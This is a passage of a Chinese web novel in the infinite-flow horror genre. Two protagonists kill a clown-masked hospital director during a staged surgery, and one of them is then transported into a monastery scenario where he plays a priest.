走廊的两侧,是一扇又一扇,紧闭着的,由厚重铅板打造而成的门。 每一扇门上,都挂着一个金属的标牌。 “解剖室。” “标本陈列室。” “焚化间。” …… 宿珩的脚步,在走廊最深处的手术室门前停了下来。 他转过身看向肖靳言,“进去。” 肖靳言耸了耸肩,伸手推开了面前那扇沉重的铅门。 门被推开的瞬间。 一股比走廊里,还要浓烈百倍的甜腻腥气,猛地从里面汹涌而出。 手术室里灯火通明。惨白的无影灯,将整个房间照得亮如白昼。 房间的正中央,摆放着一张宽大的手术台。 手术台的旁边,摆放着一张推车,上面铺着一块洁白的无菌布。 而在布上,整整齐齐地摆放着一整套,各式各样的古怪工具。 那些工具,根本不像是用来救人的。 反倒更像是……中世纪,用来审讯异端的,某种残忍的刑具。 有带着倒钩的,长长的探针。 有布满了细密锯齿的,小巧的骨锯。 还有一把,看起来像是园艺剪刀,却比任何刀刃都要锋利,闪烁着森然寒光的巨大弯剪。 每一件工具,都散发着一种,令人从骨子里感到不寒而栗的寒意。 而就在那张摆满了恐怖工具的推车旁。 一个高瘦的身影,正背对着门口,安静地站着。 他已经换好了一身墨绿色的手术服。 头上,也戴着一顶同款的手术帽。 听到开门声。 那个身影,缓缓地转了过来。 一张画着夸张猩红笑脸的小丑面具,就这样,毫无征兆地映入了肖靳言的眼帘。 看到肖靳言的那一刻。 宿珩能清晰地感觉到,院长肩膀极其细微地颤抖了一下。 那不是因为恐惧。 而是一种……看到了自己最心爱的,最完美的收藏品时,所不受控制的病态亢奋。 与此同时,肖靳言看着院长那张,滑稽又可怖的小丑面具。 清晰地感受到了从他身上所散发出的,那股几乎要化为实质的,阴冷黏腻的恶意。 他脸上的表情也渐渐地收敛了起来。 取而代之的,是一种前所未有的凝重。 “你来啦。” 院长开口,那雌雄莫辨的沙哑声音,在空旷的手术室里,显得格外诡异。 他一边说着,一边迈着优雅的步子,缓缓走到了肖靳言的面前。 他那张猩红的笑脸,几乎要贴上肖靳言的脸。 “别紧张。” 他用一种,近乎于情人耳语般的,亲昵又危险的语调,缓缓说道。 “这只是一场,很简单的,小手术。” “只要把你的脑子,稍微打开一点点……” “把你脑子里那些,不切实际的,错误的‘妄想’,都清理干净……” “等你醒来,你的‘病’,就彻底好了。” 肖靳言看着他那双,隐藏在面具之后深不见底的眼睛,忽然反问道:“手术之后,我就可以离开这里了,是吗?” 听到这个问题。 院长那张滑稽的笑脸,似乎咧得更开了。 “嗯嗯……” 他发出了两声含糊不清的,仿佛是从喉咙深处挤出来的气音。 “当然了。” “等你‘治愈’之后,你当然……就可以‘离开’了。” 院长特意加重了“治愈”和“离开”这两个词的读音。 那语气里,却充满了说不清道不明的……恶毒暗示。 然而。 肖靳言却像是没有听出他话里的深意一般。 他看着院长,脸上露出了一个充满了感激的真诚笑容。 “谢谢你,院长。” 那副装模作样的姿态,真挚到几乎可以以假乱真。 “呵呵……” 院长发出一声愉悦的轻笑。 “这是我应该做的。” 他说完,便转过头,那张小丑面具,对准了站在门口,从始至终一言不发的宿珩。 “宿医生。” “这场手术,我是主刀。” “你就在旁边,好好学习经验。” “看看真正有效的‘治疗’,到底该怎么做。” 宿珩站在原地,微微敛眸,掩下眼底深处的冷意。 “嗯。” 他从喉咙里,挤出了一个极其简短的音节,然后便转过身,径自走进了手术室旁边,一间用来更衣消毒的隔间。 隔间里一片纯白。 宿珩走到那个挂着无菌手术服的衣架前,脱下了白大褂,换上了一套和院长同款的墨绿色手术服。 紧接着。 他走到了洗手池前,用消毒液一遍又一遍地仔细清洗着自己的双手。 从指尖,到手腕。 每一个角落,都没有放过。 那动作,充满了某种,近乎于偏执的,仪式感。 洗完手后。 他从旁边的无菌盒里,取出了一副崭新的乳胶手套,戴了上去。 然后,是口罩。 最后。 他甚至从一个密封的柜子里,取出了一面,几乎能将他大半张脸,都完全遮住的,透明的护目镜,戴在了自己的脸上。 这身密不透风的行头。 根本不像是,一个准备协助手术的助手。 倒更像是一个,即将要进入最高等级的生化实验室,去处理某种极度危险的致命病毒的研究员。 做完这一切后。 宿珩看着镜子里,那个被层层防护,彻底武装起来的,陌生的自己。 他缓缓抬起手。 隔着冰冷的乳胶手套,轻轻触碰了一下自己衣袖里,那个坚硬冰冷的轮廓。 他的眼神,也随之,变得和那把即将要饮血的刀刃一样。 冰冷。 锋利。 充满了,不惜一切代价的决绝杀意。 第110章 第 110 章 世界的悲鸣17 几分钟后。 宿珩推开了更衣间的门, 重新走进了那间亮如白昼的手术室。 墨绿色的手术服将他整个人包裹得严严实实。 脸上的口罩与护目镜,更是将他所有的表情都彻底隔绝在了那层冰冷的屏障之后。 他安静地走到那张摆满了恐怖刑具的推车旁,垂手等待着院长的指令。 “很好。” 院长看着他这副专业到了极致的行头, 发出了一声带着黏腻湿气的满意笑声。 “宿医生。” 他指着肖靳言。 “麻烦你把他固定在手术台上。” “记住,要绑得紧一点。” “我可不希望,我可爱的‘病人’, 在‘治疗’的过程中,因为太激动,而到处乱动。” 宿珩嗯了声, 转身从手术台的另一侧, 拿起了一捆质地粗糙坚韧的皮质束缚带, 走到肖靳言的面前。 四目相对。 隔着一层透明的护目镜,宿珩看着肖靳言那双依旧亮得惊人的黑眸, 缓缓伸出了手。 肖靳言极其配合地将自己的双手,平放在了手术台两侧的扶手上。 那姿态,放松得仿佛不是即将要被捆绑的囚徒,而是在等待着爱人, 为他戴上一副象征着亲密与占有的手铐。 宿珩的面色沉静如水。 他拿起一根束缚带, 动作熟练地开始捆绑肖靳言的左手手腕。 皮带收紧, 紧紧地勒进了男人皮肤里, 甚至留下了一圈浅浅的压痕。 接着是右手。 然后是脚踝。 他捆绑的动作,精准利落, 没有一丝一毫的拖泥带水。 那副公事公办的模样,冷漠到了极致。 仿佛他真的只是一个, 在忠实地执行着上级命令的,没有感情的工具。 在给肖靳言绑好最后一根束缚带时,宿珩需要微微俯下身。 这个动作, 让他的脸,与肖靳言的脸,瞬间拉近到了一个极近的距离。 透过那面几乎能反射出肖靳言完整倒影的护目镜。 肖靳言清晰地看到了宿珩那双,被镜片遮挡着的清冷眼眸。 就在那一瞬间。 宿珩微不可察地颔了颔首。 这是一个无声的信号。 肖靳言的眉梢轻轻向上挑了一下。 宿珩直起身子,后退了一步。 他冲着院长,言简意赅地汇报道:“好了。” “宿医生,你做得很好。” 院长迈着优雅的步子走了过来,仔细检查了一下宿珩的“杰作”。 他用力扯了扯那几根皮质的束缚带,纹丝不动。 “嗯……不错。” 院长满意地点了点头,说完便转过身,走回了那辆摆满了各式工具的推车旁。 他那双隐藏在面具后的眼睛,像是在欣赏自己最珍贵的藏品一般,在那一排散发着森然寒气的工具上,来回扫视着。 “让我想想……” 他摸着自己那光滑的面具下巴,用一种充满了病态亢奋的语气,自言自语。 “该从哪里开始我们这次愉快的‘治疗’呢?” 他拿起那根带着倒钩的长长探针,在指尖轻轻转动。 “是从眼睛开始吗?” “我一直很好奇,把这根探针,从眼球的侧面,一点一点地伸进去,轻轻地搅动……” “不知道,能不能看到,那些储存在大脑深处的,错误的‘记忆’呢?” 他又放下了探针,拿起了那把布满了细密锯齿的小巧骨锯。 “还是……从这里开始?” 他用骨锯的尖端,在自己胸口的位置,轻轻比划了一下。 “把胸骨,像切一块蛋糕一样,整整齐齐地锯开。” “然后,就能看到那颗,跳动得如此有力的,鲜活的心脏了。” “据说,只要手法足够好,就能在不破坏任何主要血管的情况下,把那颗心脏,完整地取出来……” “让它在我的手心里,继续跳动……” “那样的画面,一定很美,对吧?” 他每说一句话,手术室里的温度,就仿佛下降一分。 那股阴冷到骨子里的恶意,几乎要将空气都彻底冻结。 然而,就在这时。 院长像是终于做出了决定。 他将那把小巧的骨锯,重新放回了推车上。 然后,他拿起了另一把,体积更大,看起来也更加狰狞的,专门用来开颅的环形骨锯。 “算了。” 他发出了一声愉悦的轻笑。 “那些,都只是开胃小菜而已。” “既然是A级手术治疗,那当然,要从最根本的地方开始着手。” 他提着那把闪烁着寒光的环形骨锯,缓缓转过身,走到了手术台前。 “就先从开颅开始吧。” 他那张猩红的小丑笑脸,在惨白的无影灯下,显得格外恐怖,也格外阴森。 “宿医生。” 他头也不回地吩咐道。 “退开一点。” “等一下,可能会有……很多血。” “我可不想,弄脏了你这身干净的手术服。” 宿珩的身体,极其细微地僵硬了一瞬。 但他还是,什么都没有说,只是沉默地,依言向后退开了几步。 为那个即将要行凶的疯子,让出了一个足够宽敞的空间。 院长很满意宿珩的顺从。 他缓缓举起了手里那把,已经开始发出轻微“嗡嗡”声的环形骨锯。 然后,慢慢地欺近了肖靳言的脑袋。 那闪烁着寒光的,高速旋转的圆形锯片,离肖靳言的头皮,越来越近。 十厘米。 五厘米。 一厘米。 冰冷的杀意,混杂着令人作呕的血腥气,扑面而来。 甚至已经有几根被锋利气流割断的发丝,缓缓地飘落。 就在那锋利的锯片,即将要割破头皮,触及到坚硬头骨的瞬间。 肖靳言的心中,默然一动。 下一秒。 一把通体漆黑,造型古朴,却散发着极致锋利气息的短刀,瞬间凭空出现在了他被束缚住的右手手心。 他的手腕,以一种超越了人类极限的速度,猛地翻转。 “唰——!” 一道冰冷的刀光,在空中一闪而过。 那根坚韧到足以困住一头野兽的皮质束缚带,就像一块脆弱的豆腐,被瞬间无声地切开。 紧接着。 肖靳言那只恢复了自由的右手,没有丝毫的停顿。 他握着那把黑色的短刀,以一种雷霆万钧之势,狠狠地划向了院长那近在咫尺的咽喉! 这突如其来的一幕,快到了极致! 院长根本没有料到,这个被自己牢牢束缚在手术台上的“病人”,竟然还能有反抗的能力! 那股迎面而来的,充满了死亡气息的凌厉刀锋,让他浑身的汗毛,都在一瞬间根根倒竖! 情急之下,他甚至来不及后退。 只能凭借本能,猛地将手里的环形骨锯,横在了自己的身前,试图去抵挡这致命的一击! “锵——!” 一声刺耳到几乎要撕裂耳膜的金属撞击声,在空旷的手术室里轰然炸响! 短刀的刀锋与骨锯的锯片,狠狠地撞击在了一起,溅起了一串无比刺眼的火花! 巨大的冲击力,让院长不受控制地向后踉跄了好几步,才勉强稳住了自己的身形。 他低头看了一眼自己手里的骨锯。 那坚硬的合金锯片上,竟然被对方那把看起来平平无奇的短刀,留下了一道深可见骨的恐怖豁口! 恼羞成怒! 一股前所未有的,被猎物反咬一口的巨大羞辱感,瞬间席卷了院长的全身。 “你……” 他猛地抬起头,那张滑稽的小丑面具,因为极致的愤怒,而变得格外恐怖阴森。 然而。 他的话,还没来得及说出口。 一股比刚才,更加强烈的,源自于灵魂深处的极致危险感,毫无征兆地从他的身后袭来! 院长瞳孔骤然一缩。 他甚至来不及思考,身体已经先于大脑,做出了最本能的反应。 他猛地向旁边一缩! 几乎是在他做出这个闪避动作的同一时间。 一道比肖靳言的刀光,更加隐蔽,也更加致命的冰冷寒光,几乎是擦着他的脖颈,一闪而过! 那锋利的刀刃,甚至已经切断了他脖子上几根细微的血管。 一缕鲜红的血珠,从他皮肤上那道极浅的伤口处,缓缓地渗透了出来。 院长这才意识到。 刚才攻击他的,并不是肖靳言。 而是那个,一直站在旁边,他以为最没有威胁的……“宿医生”。 他猛地转过头。 只见宿珩的手里,不知何时,已经多了一把薄如蝉翼的柳叶状手术刀。 那把刀,正被他用一种,极其专业而标准的持刀手势,紧紧地握在手里。 刀锋上,没有沾染到一丝血迹,在无影灯的照射下,依旧反射着冰冷刺眼的光。 而宿珩那双隐藏在护目镜后的眼睛,正冷冷地看着他。 那眼神里,甚至还带着一丝,极其明显的…… 失望。 失望,刚才那一刀,没能精准地抹断他的脖子。 一前。 一后。 一个,是挣脱了所有束缚,手持黑色短刀,浑身散发着强大压迫感的,苏醒的雄狮。 一个,是脱下了所有伪装,手持致命手术刀,眼神冰冷如霜的,优雅的猎手。 两个人,将他所有的退路,都彻底堵死。 形成了一个,完美的绝杀之局。 直到这一刻。 院长才终于后知后觉地,意识到了一件事。 从头到尾。 他才是那个,一步一步,走进了别人精心布置好的,陷阱里的…… 猎物。 “呵呵……” “呵呵呵呵……” 一阵诡异的,仿佛是漏了气的风箱一般的笑声,从院长那张滑稽的小丑面具下,缓缓地传了出来。 “有意思……” “真是有意思……” “我真是……太小看你们了。” 他一边笑着,一边缓缓地伸手,轻轻抹去了自己脖子上正在外渗的血。 “不过。” 他的话锋,猛地一转。 那双隐藏在面具后的眼睛里,瞬间迸发出了比刚才要浓烈百倍的疯狂与杀意。 “这样……才更好玩,不是吗?” 话音落下的瞬间。 他那高瘦的身体,忽然像一滩没有骨头的烂泥一样,以一种极其诡异的姿态,猛地向后倒了下去。 紧接着。 他的整个身体,都像融化的蜡像一般,悄无声息地,融入了地面那片冰冷的纯白地砖之中。 仿佛他从未出现过。 肖靳言和宿珩的瞳孔,同时微微一缩。 下一秒。 整个手术室里,所有的灯光,都在一瞬间,全部熄灭。 绝对的,伸手不见五指的黑暗,瞬间笼罩了整个空间。 紧接着。 “咯咯咯咯……” 一阵令人头皮发麻的,像是无数只指甲,在疯狂抓挠着金属的刺耳声响,从四面八方同时响了起来。 “小心。” 宿珩的声音,在黑暗中冷静地响起。 他几乎是在灯光熄灭的瞬间,就已经一个闪身,来到了肖靳言的身边,与他背对背地,靠在了一起。 紧紧地贴着对方温热而坚实的后背。 这是可以将性命都毫无保留地交付给对方的信任。 “嗯。” 肖靳T言从喉咙里,发出一个沉稳的音节。 黑暗,并不能对他们造成任何影响。 他们能清晰地“看”到。 地面上,墙壁上,甚至是天花板上。 正有一个又一个,穿着同样款式墨绿色手术服的,戴着猩红小丑面具的“院长”,从那些冰冷的墙体里,缓缓地渗透了出来。 一个。 两个。 十个。 几十个。 转瞬之间。 整个手术室,就已经被这些,一模一样的,散发着阴冷恶意的“院长”,给彻底挤满。 他们每一个人的手里,都拿着一把,和刚才一模一样的,闪烁着寒光的环形骨锯。 “嗡——嗡——嗡——” 无数台骨锯,同时启动的声音,汇聚成了一股几乎要将人的大脑,都彻底搅碎的恐怖噪音。 “来吧。” “让我们一起……完成这场,愉快的手术吧!” 无数个“院长”,用着一模一样的沙哑声音,异口同声地说道。 然后。 他们举着手里的骨锯,从四面八方,像潮水一般,朝着被围困在最中央的两个人,疯狂地涌了过来! 那场面,足以让任何一个心智正常的玩家,在瞬间,彻底精神崩溃。 然而。 被围困在最中央的两个人,脸上,却没有丝毫的恐惧。 “左边,三十七个。” 宿珩的声音,冷静得像一台正在进行数据分析的超级计算机。 “右边,四十二个。” “天花板,二十一个。” “正前方,没有。” “那里是他的本体。” 肖靳言言简意赅地,补充了最后一句。 几乎是在他话音落下的瞬间。 宿珩的身体动了。 他手中的那把柳叶刀,在黑暗中划出了一道又一道,优美而致命的冰冷弧线。 每一道弧线亮起。 都必然会有一个冲上来的“院长”,被精准地,一刀割断喉咙。 然后,化作一滩黏稠的,散发着恶臭的黑色液体,消散在空气里。 而另一边。 肖靳言的动作,则要显得更加简单,也更加粗暴。 他甚至没有再使用那把黑色的短刀。 而是直接抬起腿,一个干净利落的,充满了爆发力的回旋踢。 “砰——!” 一声沉闷的巨响。 好几个冲到他面前的“院长”,就像是被一辆高速行驶的卡车给迎面撞上,瞬间倒飞了出去,在半空中,就已经化作了虚无的黑烟。 一个,是精准到极致的,优雅的杀戮艺术。 一个,是强悍到极致的,绝对的力量碾压。 两种截然不同的战斗风格。 却配合得天衣无缝。 那些悍不畏死的“院长”分身,根本无法靠近他们分毫。 就在这时。 一直隐藏在分身之后,那个真正的院长,终于按捺不住了。 他发出一声充满了愤怒与不甘的尖啸。 整个手术室,都开始剧烈地晃动了起来。 天花板上沉重的无影灯,像是失去了支撑,开始一个接一个地,朝着肖靳言和宿珩的头顶,狠狠地砸了下来! “小心!” 宿珩一把抓住了肖靳言的手臂,将他猛地向旁边一拽。 “轰——!” 一盏巨大的无影灯,几乎是擦着他们的身体,重重地砸在了他们刚才站立的位置。 坚硬的地砖,瞬间被砸出了一个巨大的深坑。 然而。 院长的攻击,并没有就此结束。 手术室四周的墙壁上,忽然伸出了一只又一只,由冰冷的金属打造而成的,巨大的机械手臂。 那些手臂的末端,都连接着各种各样,闪烁着寒光的,锋利的手术器械。 手术刀。 骨锯。 开颅器。 …… 成百上千把,像是放大了数十倍的致命凶器,犹如一片密不透风的钢铁丛林,从四面八方朝着他们,狂地攒刺而来! “宿医生!” 肖靳言低喝一声。 他反手握住了宿珩的手腕,猛地将他拉到了自己的身后。 紧接着。 一股强大到,几乎要将整个空间,都彻底扭曲的恐怖威压,从肖靳言的身上轰然爆发! SSS级精神力彻底爆发! 那些疯狂刺来的手术器械,受到这股强大精神力的干扰,在距离他们还有不到半米的位置,猛地一滞。 仿佛被一道无形的墙壁,给硬生生地挡住了。 “就是现在!” 肖靳言的声音,沉稳而有力。 宿珩当然明白他的意思。 就在这时,宿珩的身影,就已经像一支离弦的箭,从缝隙之中一闪而过! 他的目标,从始至终,都只有一个。 就是那个站在所有混乱的中心,那个以为自己已经掌控了一切的。 真正的……院长! 院长的瞳孔骤然收缩成了针尖状。 他想要故技重施,再一次融入地面逃离这里。 可是,已经晚了。 宿珩的速度,比他想象中,还要快得多。 那把薄如蝉翼的柳叶刀,终于在这一刻,毫无阻碍地深深刺进了院长隐藏在小丑面具之下的……眼窝的位置。 “噗嗤——” 利器入肉的声音清晰响起。 院长脸上的那张猩红笑脸,瞬间凝固了。 他死死捂住眼睛,撕心裂肺大声嚎叫,“为……什么……” “因为……” 宿珩缓缓抬起头,“你不该……碰他。” 说完。 宿珩猛地抽出手术刀。 “唰——!” 一股滚烫的,带着恶臭的血液瞬间喷涌而出,染红了宿珩那身墨绿色的手术服,也染红了他脸上的护目镜。 “砰。” 院长的身体,重重地倒在了地上。 那张滑稽的小丑面具,从他的脸上滑落了下来。 面具下,是一张没有五官的脸。 随着他的死亡。 整个手术室,都开始像崩塌的积木一样,寸寸碎裂。 那些狰狞的机械手臂,那些疯狂的分身,都在一瞬间,化作了漫天的黑色灰烬。 刺眼的白光,从那些崩裂的缝隙之中,倾泻而下。 很快。 便将整个四楼彻底吞噬。 与此同时,偌大的第十三病院开始疯狂震颤起来。 正在楼下寻找线索的玩家们纷纷抬头,惊魂未定地看着不断化作齑粉的墙壁,以及突然落在他们身上的雪白色光柱。 “我去……这是传送光柱!” “我们什么都没做,怎么就通关了?!”《 》 110-116 第111章 第 111 章 世界的悲鸣18 肖靳言的眉头, 在看到那道同样落在他身上的白色光柱时,狠狠地皱了起来。 通关了? 就这样? 他抬起头,那双深邃的黑眸穿过漫天飞舞的碎屑与尘埃, 落在不远处安静站立着的身影上。 宿珩穿着那身被血染红的墨绿色手术服。 他并没有被传送光柱笼罩,只是沉默地站在那片即将崩塌的世界,像一尊被遗忘的孤寂神像。 一股强烈的不安, 瞬间攫住了肖靳言的心脏。 他想开口,想冲过去,想将那个人一同拉进这片代表着“生”的光芒里。 可那股来自副本规则的, 无可抗拒的传送之力, 已经彻底包裹了他的身体。 他的身影, 在宿珩那双被血色模糊的眼眸注视下,一点一点地变得透明, 消散。 就在肖靳言的身影,即将被彻底传送离开这个副本的最后一秒。 宿珩忽然感觉到,一股冰冷到极致的,带着无上威严的强大意志, 猛地降临在了他的身上。 那是来自……这个崩坏的副本世界的规则之力。 它在愤怒。 作为这个副本世界里, 拥有最高权限的BOSS之一, 他非但没有履行自己的“职责”, 去折磨,去虐杀那些闯入的玩家。 反而……帮助一个“病人”, 亲手杀死了,这个副本里最核心的隐藏BOSS。 这是背叛。 是对于整个无限世界规则的, 最彻底的,最无法饶恕的挑衅与亵渎。 惩罚,降临了。 “唔……” 宿珩闷哼一声, 整个人不受控制地,猛地向前踉跄了一步。 一股无法用任何语言来形容的剧痛,像是有一只无形的大手,狠狠地攥住了他的心脏,然后,用尽全力,将其寸寸捏碎。 他的眼前,瞬间被一片无边无际的黑暗所吞噬。 意识,像被狂风吹散的沙砾,开始飞快地流逝涣散。 就在他即将要被那股撕裂灵魂的剧痛,彻底拖入永恒的昏迷深渊时。 一道与周围那些圣洁的白色光柱,截然不同的黑色光束,毫无征兆地从虚无之中破开,将他那具摇摇欲坠的身体笼罩。 在整个副本世界,彻底崩塌成一片虚无的瞬间。 那道黑色的光,将宿珩从那片毁灭的漩涡之中,彻底带离。 …… 再次恢复意识的时候。 宿珩最先感受到的,身上那件衣服所带来的粗糙而厚重的触感。 空气里,不再是消毒水与血腥气混合的刺鼻味道。 取而代之的,是一种由冰冷的石质与燃烧的蜡烛,还有某种不知名的干花香料,混合而成的,充满了肃穆与庄严的,古老气息。 他缓缓睁开眼。 映入眼帘的,不再是惨白的墙壁与冰冷的金属。 而是一间,由巨大灰黑色石块砌成的,高大而空旷的房间。 穹顶极高,呈现出一种优美的拱形弧度。 一缕缕微弱的光,从两侧狭长而高耸的彩色玻璃花窗之中艰难地穿透进来,在地面上投下了一片片,充满了神圣森*晚*整*理感的彩色光斑。 宿珩低头看向自己。 他身上那件染血的手术服,已经不见了。 取而代之的,是一件款式古朴,通体漆黑,领口处有着白色硬质立领的神父长袍。 就在这时。 一道冰冷的,不带任何感情的机械声音,毫无征兆地在他的脑海里,清晰地响了起来。 【S级副本载入成功……】 【正在同步世界观……】 【欢迎来到特殊污染区——圣阿加莎修道院。】 【正在为您生成身份……】 【身份生成完毕。】 【您的身份是:神父。】 【您的任务是:净化所有被“绝望”所污染的灵魂,寻找到“圣物”的真正下落。】 【祝您……净化愉快。】 果然。 宿珩安静地听着脑海里那段熟悉的系统提示音,心中没有丝毫的波澜。 这里,是肖靳言那扇破碎的心门里,第三块记忆碎片所构成的世界。 他进入肖靳言心门的意义—— 就是进入一场又一场,由无限世界最深的绝望与痛苦所构筑而成的,永无止境的轮回梦魇。 然后,一点一点地将那些曾经在这个崩坏的无限世界里,施加在肖靳言身上的,所有的不公,痛苦,与绝望,都彻底抹除。 直到这扇心门彻底瓦解。 宿珩缓缓抬起手,整理了一下自己身上那件让他感到有些陌生的黑色神父袍。 就在这时。 “咚——咚——咚——” 一阵沉闷而悠远的钟声,从修道院的最高处缓缓传来。 紧接着。 一阵急促而仓皇的脚步声,从门外由远及近地响了起来。 一个穿着黑白两色修女服的年轻修女,提着裙摆跑了进来,脸上写满了无法掩饰的惊恐与慌乱。 “神父!不好了!神父!” 她跑到宿珩的面前,因为剧烈的奔跑,上气不接下气。 “有……有人闯进了祷告室!” “他……他把里面那本,传承了三百年的《圣言录》,给……给烧了!” 宿珩看着她那张因为恐惧而煞白的脸,平静地开口。 “带路。” 那名年轻的修女,被他这种与周围紧张气氛格格不入的冷静,给震得愣了一下。 但她很快便反应了过来,连忙点头,转身在前面带路。 穿过一条幽深而冗长的石质回廊。 修女带着宿珩,来到了一扇雕刻着繁复花纹的厚重橡木门前。 祷告室的门,正虚掩着。 一股淡淡的,纸张被烧焦的味道,正从门缝里,丝丝缕缕地飘散出来。 修女指着那扇门,声音颤抖地说道:“神父,他……他就在里面……” 宿珩没有再看她一眼,径自伸出手,推开了那扇沉重的橡木门。 门后是一间,比宿珩刚才所在的房间,更加宏伟,也更加庄严的巨大祷告室。 一排又一排,由深色木料打造而成的长椅,整整齐齐地朝着最前方那个摆放着圣像与十字架的祭坛,延伸而去。 祭坛的两侧,燃烧着数百支,大小不一的白色蜡烛。 跳动的烛火,是这间昏暗的祷告室里,唯一的光源。 它们将整个空间,都映照出一种,充满了神圣与诡秘的昏黄色调。 而就在那片摇曳的烛火光影之中。 一个高大的身影,正背对着门口,极其随意地坐在一张长椅上。 他手里正拿着一本,封面由纯金打造,镶嵌着无数细碎宝石的厚重典籍。 那应该就是修女口中,那本传承了三百年的《圣言录》。 此刻。 那个男人,正一页又一页地,将那本堪称艺术品的珍贵典籍,给面无表情地撕下来。 然后随手扔进旁边那座燃烧着熊熊烈火的巨大烛台里。 薄薄的,记载着神圣箴言的纸张,在接触到火焰的瞬间,便迅速地卷曲,变黑,最终化作一缕,带着焦糊味的青烟,袅袅升起。 那姿态,仿佛他烧掉的,不是什么无价的圣物,而是一叠毫无价值的废纸。 宿珩在门口停了下来。 他安静地看着那个,正在进行着亵渎神明之事的,嚣张背影。 心里无声地叹了口气。 这胆大妄为,无论在哪个世界,都永远学不会安分的混蛋。 不是肖靳言,还能是谁。 肖靳言察觉到了身后的动静。 他并没有回头,而是将手里剩下的那几页纸随手扔进了烛台之中。 “呼——” 烈火瞬间将纸页吞噬。 做完这一切,肖靳言才慢条斯理地拍了拍手,站起身缓缓转了过来。 当他的视线,穿过那片明暗不定的烛火,落在门口那个穿着黑色神父袍的纤减肥影上时,他的嘴角缓缓地向上翘起一抹了然的弧度。 那张英俊硬朗的脸上,没有丝毫亵渎神明之后的心虚与恐惧。 有的,只是一种,猎人终于等到了自己心心念念的猎物时,那种充满了占有欲的笑意。 宿珩的目光,越过肖靳言,落在了那座燃烧得正旺的烛台上。 《圣言录》的灰烬,正随着升腾的热气,在昏黄的空气中缓缓飘散。 宿珩对着身后那个已经吓得面无人色的年轻修女,用一种不带任何情绪的语调说道:“你先出去。” “可是,神父……” 修女的声音里,带着无法抑制的颤抖。 她不太放心。 烧毁圣物的那个男人,他身上散发出与这座神圣修道院格格不入的危险气息,这让她本能地感到恐惧。 “出去。” 宿珩重复了一遍。 这一次,他的声音里,带上了一丝不容置喙的威严。 修女的身体,不受控制地颤抖了一下。 她终于从神父那过于平静的姿态里,感受到了一种,比眼前那个亵渎者,更加令人敬畏的冷漠。 “……是,神父。” 她低下头,不敢再多说一个字,仓皇地转身跑了出去。 沉重的橡木门被宿珩反手关上。 “咔哒”一声轻响。 这间祷告室与外界彻底隔绝。 变成了一个,只属于他们两个人的,私密的舞台。 宿珩迈开脚步,踩着地面上由彩色玻璃花窗投下的斑驳光斑,一步一步朝着肖靳言走去。 他身上那件款式古板的神父袍,随着他的走动,在地板上拖曳出了一道悄无声息的黑色暗影。 “我就知道。” 肖靳言看着他,率先打破了这片诡异的寂静。 他的声音,在空旷的祷告室里,带上了一丝,被穹顶放大了的回响。 “宿医生。” “我还会再遇到你。” 他依旧用着上一个副本世界的称呼。 那副笃定的姿态,仿佛他们之间,从未有过任何分离。 仿佛那场足以撕裂灵魂的惩罚,与那道代表着生与死的传送光柱,都只是一场无足轻重的短暂幻觉。 宿珩没有停下脚步。 肖靳言和他一样,都会带着上一个副本的记忆,进入到下一个由记忆碎片所构筑的世界里。 这一点,在经历了两个副本后,他早就知道了。 宿珩在那张带着一丝懒洋洋笑意的脸前停了下来,然后板起了脸,说道:“我不知道你在说什么。” “还有。” 他抬眼,迎上了肖靳言那双盛满了浓郁兴味的深邃黑眸。 “请叫我,神父。” 听到这个回答,肖靳言脸上的笑意瞬间加深了。 他甚至还煞有介事地,对着宿珩微微躬了躬身,做出了一个浮夸的致意动作。 “好好好。” 他耸了耸肩,语气里是毫不掩饰的纵容与宠溺。 “我亲爱的,神父先生。” “很高兴,能在这里见到你。” 他说着,视线落在了宿珩身上那件,将他从头到脚都包裹得严严实实的黑色长袍上。 那目光,带着一种,仿佛能穿透布料的,极具侵略性的审视。 “不过,我还是觉得……” 他拖长了语调,用一种只有他们两个人才能听到的音量,低声说道。 “你穿白大褂的样子,更……性感一点。” 宿珩的太阳穴,又开始一抽一抽地,剧烈跳动了起来。 他缓缓深呼吸了一口,强迫自己忽略掉这个混蛋的揶揄。 为转移注意力,宿珩视线落在了那堆已经快要燃烧殆尽的圣物灰烬上。 “你知道你在做什么吗?” “我知道啊。” 肖靳言的回答理所当然到了极点。 仿佛他刚才做的,不是什么亵渎神明,会招来天谴的恶行。 而只是随手点燃了一堆用来取暖的篝火。 宿珩冷冷地扫了他一眼,开始按照副本世界的规则走剧情。 “这是镇压着修道院底下那只恶魔的《圣言录》。” “你把它烧了。” “是想将那只,被封印了三百年的恶魔,重新释放出来吗?” 然而。 肖靳言在听到他这句话时,一点也不显得担心。 那张脸反而笑得更加灿烂。 他看着宿珩的眼睛,缓缓说道:“这不是……有你在吗?” 一句话。 让宿珩所有的话,瞬间被堵在了喉咙里。 哎…… 这就是带着记忆进入下一个副本的坏处。 有他在,肖靳言越发显得肆无忌惮了。 就在这时。 一阵极其细微的脚步声,忽然从祷告室的门外响了起来。 紧接着。 那扇刚刚才被宿珩关上的橡木门,被人从外面轻轻推开了。 四道身影,谨慎地从门外挤了进来。 那都是一些,穿着和这个修道院格格不入的,现代休闲服饰的年轻男女。 他们每个人的脸上,都带着一种,劫后余生般的惊恐,与无法掩饰的兴奋。 然而。 当他们的视线,落在祷告室中央那个穿着黑色神父袍的身影时。 他们脸上所有的表情,都在一瞬间彻底凝固了。 “神……神父……” 为首的那个,看起来像是队长的高大男人,脸上的血色,瞬间褪得一干二净。 “我……我们……我们只是在找……找厕所……” 他身后的一个女玩家,反应稍微快一点,连忙结结巴巴地试图解释。 “不小心……就闯到这里来了……” “对不起!神父!我们马上就走!马上就走!” 另一个人也赶紧附和道。 宿珩当然知道。 他们肯定不是在找什么厕所。 作为这个S级副本的第一批玩家,他们一定是触发了什么剧情,或者找到了什么线索,才会如此目标明确地冲进这间作为副本核心场景之一的祷告室。 宿珩恪守副本赋予他的神父人设。 视线从那四张因为恐惧而变得煞白的脸上,冷漠地一一扫过。 那四名玩家,被他这道不带任何温度的视线,看得浑身一僵。 一股寒意,瞬间从他们的脚底直冲天灵盖。 他们甚至连逃跑的勇气,都在一瞬间被彻底剥夺。 就在这片几乎要凝固的死寂之中,宿珩终于开口了。 “你们找错地方了,厕所不在这里。” 那四名玩家,在听到这句话时,都猛地愣了一下。 找错了? 就……就这么简单? 短暂的错愕之后,一股劫后余生般的狂喜,瞬间席卷了他们每一个人的心脏。 “对……对不起!神父!” 为首的那个高大男人,反应最快,连忙朝着宿珩深深地鞠了一躬。 “我们马上就走!马上就走!” 他身后的几个人也如梦初醒,纷纷跟着道歉。 他们迅速朝着门口退去,生怕这个看起来就不好惹的神父会突然反悔。 